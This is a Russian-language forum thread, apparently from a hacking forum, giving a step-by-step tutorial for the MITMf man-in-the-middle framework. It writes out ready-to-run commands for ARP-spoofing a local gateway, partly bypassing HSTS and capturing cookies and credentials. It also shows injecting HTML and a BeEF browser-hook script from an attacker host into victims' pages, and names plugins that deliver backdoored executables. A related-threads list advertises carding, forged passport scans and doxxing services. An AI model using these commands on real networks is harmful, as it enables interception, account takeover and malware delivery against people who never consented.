Инструкция по использованию MITMf

  • Автор темы klobald
  • Дата начала
K

klobald

Original poster

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

— это фреймворк для атак человек-посередине (Man-In-The-Middle). Он предназначен для тех же задач, что и

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Только работа в MITMf, по сравнению с Ettercap, проще.​
Также при использовании Ettercap для атаки человек-посередине мы практически каждый раз запускали ещё одну или несколько программ, поскольку базовой функциональности Ettercap нам не хватало. С MITMf такого не будет – теперь только одна консоль, в которой только один фреймворк.

На самом деле, мы встретим практически всех наших знакомых из инструкции по Ettercap:
Но здесь все они являются модулями, которые запускаются опциями командной строки или через API.

Кстати, здесь вы найдёте не только обзор плагинов, сюда добавлен материал, который отсутствует даже в официальной документации.



Установка MITMf
Ранее программа работала только при установке из исходников. Судя по всему, в последнее время ситуация изменилась, и установленная из репозиториев программа успешно запускается. В Kali Linux сначала попробуйте так:

Код:
sudo apt-get install mitmf mitmflib
sudo mitmf --help

Если ошибок нет и показана справка, значит не нужно устанавливать из исходников, как это показано чуть ниже. В этом случае sudo python mitmf.py из моих примеров нужно заменять на mitmf. Сразу переходите к разделу "Начало работы с MITMf".

Далее показан процесс установки из исходный кодов — теперь это только для тех, у кого не работает версия из стандартных репозиториев.

Следующие инструкции являются результатом чтения официальной документации, а также метода проб и ошибок. Нужно делать именно так, как в них написано – тогда точно заработает.

В Kali Linux если вы работаете из-под рута, то устанавливать и запускать программу нужно так:

Код:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

— переходите в каталог со скаченной программой, к примеру:
Код:
cd bin/MITMf/

— далее:
Код:
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Если вы работаете под обычным пользователем, то нужно делать так:
Код:
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

— переходите в каталог со скаченной программой, к примеру:
Код:
cd bin/MITMf/

— далее:
Код:
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help



Начало работы с MITMf
Давайте начнём с чего-нибудь совсем простого и весёлого.

Практически с каждой командой мы будем использовать одни и те же четыре опции. Первой из них является -i, после которой нужно указать свой сетевой интерфейс (например, eth0). Если вы не знаете имя сетевого интерфейса на вашем компьютере, то посмотрите его командой:
Код:
ip a

Также мы будем использовать два ключа --spoof --arp. Первый означает загрузить плагин 'Spoof'. А второй – перенаправить трафик используя ARP спуфинг. Это аналогично тому, как мы начинали атаку с Ettercap. Ещё мы будем использовать опцию --gateway, после которой нужно указать адрес шлюза. Обычно это IP адрес роутера. Чаще всего это адрес 192.168.1.1 или 192.168.0.1. Если вы не уверены, то посмотрите его командой
Код:
ip r

Итак, в своём базовом варианте команда в моём случае выглядит так:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1
В дальнейшем к ней я буду только добавлять разные опции для включения разнообразных плагинов.

Как видим, программа работает и мы перехватили базовую аутентификацию:

a210ea0983ce5efdc3c63.png

Кстати, не нужно запускать отдельно

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

– он уже встроен в MITMf.

Давайте остановим программу и сделаем что-нибудь наглядное. Например, перевернём изображения на всех сайтах (кроме тех, кто использует HTTPS). Для этого к нашей команде добавим ключ --upsidedownternet.
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --upsidedownternet

Теперь в логах появляются записи вроде такой:
2018-06-19 09:17:29 192.168.1.33 [type:Chrome-51 os:Windows] [Upsidedownternet] Flipped image



А веб-сайты выглядят так:

02-4.jpg

03-4.jpg



Частичный обход HSTS
Для этого достаточно добавить два ключа --dns --hsts. Команда приобретает вид:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts

Чтобы получить перевёрнутые изображения даже на сайтах с HTTPS:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --upsidedownternet
Как и другие, опции --dns --hsts можно комбинировать с другими плагинами.


Вставка произвольного содержимого в веб-страницы
Для этого имеется плагин Inject с разнообразными опциями. Для загрузки плагина нам нужно указать --inject, а также дополнительно следующие ключи:
Код:
--js-url JS_URL       URL JS для инжекта

--js-payload JS_PAYLOAD  JS строка для инжекта

--js-file JS_FILE     Файл, содержащий JS для инжекта

--html-url HTML_URL   URL HTML для инжекта

--html-payload HTML_PAYLOAD        HTML строка для инжекта

--html-file HTML_FILE
                      Файл, содержащий HTML для инжекта

--per-domain          Вставить один раз на домен для одного клиента.

--rate-limit RATE_LIMIT
                      Вставить один раз каждые RATE_LIMIT секунд на одного клиента.

--count-limit COUNT_LIMIT
                      Вставить только COUNT_LIMIT раз на одного клиента.

--white-ips IP        Вставить контент ТОЛЬКО для этих IP (разделять запятыми)

--black-ips IP        НЕ вставлять содержимое для этих IP (разделять запятыми)

--white-domains ДОМЕНЫ
                      Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)

--black-domains ДОМЕНЫ
                      НЕ вставлять контент для этих доменов (разделять запятыми)

Например, я хочу вставить во все сайты строку <p>I am cool!</p>. Тогда моя команда имеет вид:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --inject --html-payload '<p>I am cool!</p>'



Подцепление программой

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

делается следующим образом (не забудьте отредактировать данные под ваши значения):
Код:
--js-url http://beef:3000/hook.js



Захват кукиз
Для этого имеется плагин Ferret-NG, который запускается опцией --ferretng. Например:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --ferretng



Создание скриншотов сайтов
Плагин ScreenShotter использует HTML5 Canvas для отображения точного скриншота клиентских браузеров. Плагин загружается опцией --screen:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --screen
С помощью дополнительной опции --interval можно указать интервал в секундах для создания скриншотов (по умолчанию 10).



Заражение бэкдорами
Для этого есть целых три плагина (плюс можно придумать собственные атаки через инжект в HTML код различного содержимого). Это плагины:

  • FilePwn (Будет отправлен исполнимый бэкдор через http используя bdfactory)
  • BrowserSniper (Выполняет атаки на клиенты легендой об устаревшем плагине браузера)
  • HTA Drive-By (Выполнить атаку с HTA на клиентах)
На мой взгляд, автор MITMf уже сделал всё возможное для того, чтобы использование плагинов в фреймворке было весьма простым. Думаю, на этом можно остановиться в характеристике плагинов. Полный их список, а также список доступных опций и дополнительные примеры вы найдёте в

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

в

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.



Куда MITMf сохраняет захваченные данные и изображения
Абсолютно всё полезное (даже то, чего вы не ждали, например, DNS запросы) MITMf сохраняет в поддиректорию logs в своей директории (например, у меня это /home/mial/bin/MITMf/logs/).



Настройка MITMf
В поддиректории config вы найдёте несколько файлов с настройками. Большинство опций можно поменять в командной строке, но некоторые удобнее отредактировать там. Кроме основного конфигурационного файла MITMf, там вы найдёте файлы для Responder и пример файла для HTA Drive-By.

В основном файле настроек MITMf (mitmf.conf) вы можете поменять значения для BeEF (хост, порт, имя и пароль), Metasploit (хост, порт, пароль), MITMf-API (хост, порт), DNS (добавить разнообразные записи для спуфинга DNS ответов) и другие настройки для разнообразных плагинов, входящих в фреймворк MITMf.

04-2.jpg

Замена HTML при атаке человек-посередине
Для замены содержимого веб-страниц имеется плагин Replace. Он активируется опцией --replace, а настраивается в файле mitmf.conf. В этом файле уже есть два правила:
Код:
[Replace]

[[Regex1]]

    'Google Search' = '44CON'

[[Regex2]]

    "I'm Feeling Lucky" = "I'm Feeling Something In My Pants"

Вот результат их работы:

06-2.jpg

В инструкции по Ettercap я приводил три примера замены: замена заголовка, добавление данных и подцепление BeEF. Все три примера можно реализовать следующими строками:
Код:
[[Regex3]]

    "<title>.*</title>" = "<title>No Title</title>"

[[Regex4]]

    "<body.*?>" = "<body><p>I am cool!</p>"

[[Regex5]]

    "</head>" = "<script src="http://192.168.1.36:3000/hook.js"></head>"


Здесь можно использовать регулярные выражения для поиска.


API MITMf
Чтобы включить или отключить какой-либо плагин, вам не нужно перезапускать MITMf, это можно сделать с использованием API. Для получения списка активных и неактивных плагинов запросите страницу

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

Это можно сделать открыв её в браузере или в командной строке:
Код:
curl http://127.0.0.1:9999/



Чтобы получить статус какого-то конкретного плагина, то можно сделать так, открыть в браузере страницу
Код:
http://127.0.0.1:9999/имя_плагина

Например,

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


А также так:
curl

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.





Добавляя через слеш нолики и единички можно, соответственно, отключать и включать любые плагины:

curl

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



curl

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



05-1.jpg

Фильтры MITMf
В MITMf с помощью плагинов Inject и Replace можно реализовать практически всё, что обычно требуется при вставке/замене HTML. Тем не менее, это не всё! Теперь с помощью Scapy вы можете модифицировать любой пакет/протокол, которые перехватывает MITMf! Более того, вы можете изменять фильтры на лету – без перезапуска MITMf.

Scapy даёт потрясающую гибкость и, пожалуй, безграничные возможности (конечно, если вы умеете пользоваться Scapy).

В качестве примере возьмём крошечный глупый фильтр, который изменяет IP назначения ICMP пакетов:

Код:
if packet.haslayer(ICMP):



    log.info('Got an ICMP packet!')



    packet.dst = '192.168.1.0'

  • Используйте переменную packet для доступа к пакетам в формате совместимым с Scapy
  • Используйте переменную data для доступа к сырым данным пакета
Для использования фильтра нужно сделать так:
Код:
python mitmf.py -F ~/filter.py



Скорее всего вы захотите комбинировать это с плагином Spoof для действительного перехвата пакетов от кого-то ещё



Решение проблем и ошибок при запуске MITMf
Решение проблемы «Error starting HTTP server: [Errno 98] Address already in use»

Если при запуске MITMf вы видите сообщение:
Error starting HTTP server: [Errno 98] Address already in use



Оно означает, что на вашей системе уже запущен веб-сервер. Этим веб-сервером может быть Apache, hostapd, Nginx. Даже если вы не помните, что устанавливали какой-либо из них, это могло произойти при установке зависимостей для других инструментов. К примеру, пакет hostapd является зависимостью для

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

,

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

,

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

(и других). Если вы используете VPS и готовую установку одного из дистрибутивов, то обычно в них уже предустановлен веб-сервер.

Если вы знаете название веб-сервера, то его можно остановить командой:
Код:
sudo systemctl stop название_службы_веб_сервера

Для Apache в Kali Linux / Debian / Ubuntu / Linux Mint это делается командой:
Код:
sudo systemctl stop apache2.service

Для Apache в Arch Linux / BlackArch это делается командой
Код:
sudo systemctl stop httpd.service

Если вы не знаете название веб-сервера, то проверьте, какая команда прослушивает 80й порт:
Код:
sudo ss -pnat



Найдите запись, содержащую :::80 (здесь может быть также указан конкретный IP адрес вашего компьютера):
Код:
LISTEN     0      128                             :::80                                          :::*                   users:(("apache2",pid=9238,fd=4),("apache2",pid=9237,fd=4),("apache2",pid=9236,fd=4),("apache2",pid=9235,fd=4),("apache2",pid=9234,fd=4),("apache2",pid=9233,fd=4),("apache2",pid=9194,fd=4))

Ещё пример:
Код:
LISTEN     0      128                                                                :::80                                                                             :::*                   users:(("httpd",pid=29253,fd=4),("httpd",pid=21426,fd=4),("httpd",pid=20863,fd=4),("httpd",pid=19910,fd=4),("httpd",pid=19078,fd=4),("httpd",pid=6671,fd=4),("httpd",pid=6665,fd=4),("httpd",pid=6510,fd=4),("httpd",pid=6242,fd=4),("httpd",pid=6239,fd=4),("httpd",pid=6235,fd=4),("httpd",pid=6234,fd=4),("httpd",pid=341,fd=4))

Как видно, в первом случае служба называется apache2, во втором – httpd. Т.е. именно их нужно остановить командой:
Код:
sudo systemctl stop название_службы_веб_сервера



Решение проблемы с ошибкой «Couldn't listen on any:10000: [Errno 98] Address already in use.»

Если при запуске MITMf вы видите ошибку:
Код:
Couldn't listen on any:10000: [Errno 98] Address already in use.



Это означает, что уже запущен другой экземпляр MITMf.
Простой способ – перезагрузить компьютер и снова попробовать запустить MITMf.
Правильный способ, это закрыть процесс без перезагрузки компьютера. Выполните команду:
Код:
sudo ss -pnat



Появятся записи о прослушиваемых портах, программах и их pid. Найдите записи с MITMf. Пример:
Код:
LISTEN     0      5                     192.168.0.69:445                                          *:*                   users:(("mitmf.py",pid=6986,fd=38))

LISTEN     0      5                     192.168.0.69:139                                          *:*                   users:(("mitmf.py",pid=6986,fd=39))

LISTEN     0      128                      127.0.0.1:9999                                         *:*                   users:(("mitmf.py",pid=6986,fd=32))

LISTEN     0      5                     192.168.0.69:80                                           *:*                   users:(("mitmf.py",pid=6986,fd=33))

LISTEN     0      50                               *:10000                                        *:*                   users:(("mitmf.py",pid=6986,fd=13))

И закройте их все командой kill. Пример для моего случая:
Код:
sudo kill 6986



Заключение
Инструкция получилась не слишком большой (я рад!), но это не означает, что у MITMf маленькая функциональность. Напротив, с MITMf мы может сделать абсолютно всё, для чего в Ettercap нам нужны были разнообразные программы. И даже больше! После понимания принципов работы MITMf, работа с ним становиться интуитивно понятной и достаточно обычной справки, чтобы освоить новый плагин.
 
  • Like
Реакции: Aceki1
Название темы
Автор Заголовок Раздел Ответы Дата
K Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux Уязвимости и взлом 0
bitwisex Инструкция по установке и настройке криптовалютного кошелька Trust Wallet Полезные статьи 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
BuriTTo Инструкция по настройке своего VPN от VektorT13 SSH / дедики / Vpn / Proxy / Socks 0
T Инструкция по установке веб-сервера Apache c PHP, MariaDB и phpMyAdmin в Windows. Полезные статьи 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
S Статья Анонимность | Инструкция по Выживанию Анонимность и приватность 0
C Инструкция по добычи PROXY для Black_Lucky Полезные статьи 1
M UBC developed by FraGmeNt 1.7.1 + Инструкция для редактора Бруты/Парсеры/Чекеры 2
Support81 Взлом ООН: 8Base наносит мощный удар по борцам с неравенством Новости в сети 0
El_IRBIS Интересно Руководство по тестированию Веб-Безопасности OWASP. Уязвимости и взлом 0
VPSmarket Продам vpsmarket.biz | VPS/VDS сервера по низким ценам! Сайты/Хостинг/Сервера 0
Emilio_Gaviriya Статья CVE: Подборка ресурсов по поиску уязвимостей. Уязвимости и взлом 0
Emilio_Gaviriya Как вычислить местоположение по IP-адресу? Статьи 0
Emilio_Gaviriya Статья Поиск по IoT, IP, доменам и поддоменам: 4 утилиты. Уязвимости и взлом 0
Emilio_Gaviriya Статья Гайд по SQL-инъекциям. Уязвимости и взлом 0
Black_ppss ⭐ Поиск людей для работы с команде! Вещевой карж по EU! Предоставляю работу. Ищу специалиста. 1
Support81 92% атак по email: электронная почта остается главной лазейкой для фишеров Новости в сети 0
Support81 Специалисты по кибербезопасности назвали главную угрозу для компаний в 2024 году Новости в сети 0
lonesttar Ожидает оплаты Скрипт бота по аренде виртуальных номеров + бот техподдержка! Продажа софта 0
lonesttar Ожидает оплаты Скрипт бота по аренде прокси + бот техподдержка! Продажа софта 0
A Ищем менеджера по обработке заявок. Предоставляю работу. Ищу специалиста. 1
F Вакансия: Менеджер по продажам - удаленная работа в США Предоставляю работу. Ищу специалиста. 0
Support81 Zhejiang Big Chip: китайский удар по доминированию США в сфере суперкомпьютеров Новости в сети 0
E.Alderson Ищу наставника по penetration tester Ищу работу. Предлагаю свои услуги. 0
Dany Blanco Набор в команду 2-3 человека! Вбив вещевухи по Европе. Предоставляю работу. Ищу специалиста. 0
TrashHellSoDomy Работающие методы по борьбе с гриппом типа ковида Юмор 3
SMM2040 Ожидает оплаты Рассылаем по WhatsApp | Лучшая цена | 98% Проход Ищу работу. Предлагаю свои услуги. 1
NovaBaseNova Базы на заказ. Собираем по любым направлениям! Ищу работу. Предлагаю свои услуги. 0
Ёшкин_кот Интересно Зарубежный сервис по приёму смс. (бесплатный) Свободное общение и флейм 1
Ёшкин_кот Интересно Пять способов поиска человека по открытым источникам (OSINT) Полезные статьи 2
turbion0 В России запустили переводы по СБП в пять стран. Деньги поступают мгновенно Новости в сети 0
T Куплю Куплю Вашу криптовалюту по выгодному курсу!! Куплю/Продам 0
Support81 Терпение лопнуло: Южная Корея, США и Япония объединяют усилия по борьбе с северокорейскими хакерами Новости в сети 0
C Помощь по зароботку! Предоставляю работу. Ищу специалиста. 0
Mr.Prime Ищу специалиста по деанону телеги. Есть приватный канал, нужно узнать владельца. Предоставляю работу. Ищу специалиста. 0
BillyBons Игры бесплатно для слабых ПК по прямой ссылке- rpgame1.net Другое 4
Арианна 25 книг по социальной инженерии Полезные статьи 2
I Турнир по Dota 2 и приз 10 000 руб! Присоединяйтесь будет жарко! Свободное общение и флейм 0
RefBanker Ожидает оплаты Скупка до 75% на ручных дропов | Пересыл вашего стаффа по WW | Белые лейблы UPS за 60% Куплю/Продам 1
Арианна Государственный пробив по РФ Ищу работу. Предлагаю свои услуги. 0
mrpink Продам Качественные сканы РФ паспортов по доступным ценам. Отрисовка документов Аккаунты/Админки/Документы 0
mrpink Ищу сотрудников салонов Связной, Мегафон и Contact для работы по верификациям кошельков Qiwi и Юмани Предоставляю работу. Ищу специалиста. 0
U Usersbox — OSINT бот по пробиву людей и поиску информации Корзина 0
G Требуется АРТ- АГЕНТ по продаже на eBay , Аmazon и др. Копии картин знаменитых Корзина 0
JustTG Ожидает оплаты Just-tg.com | Сервис по продвижению каналов и ботов в TELEGRAM | Прямой поставщик 24/7 Ищу работу. Предлагаю свои услуги. 1
M Пробив от секретной службы Mossad (ПРОБИВ по всем структурам, комплексные решения под ваш запрос) Корзина 0
Support81 Шантаж, клевета, угрозы расправы? Обычный рабочий день специалиста по кибербезопасности Новости в сети 1
Support81 Интересно Алгоритм работы СБ Сбербанка по антифроду. Карты/CC/Банки/Enroll 0

Название темы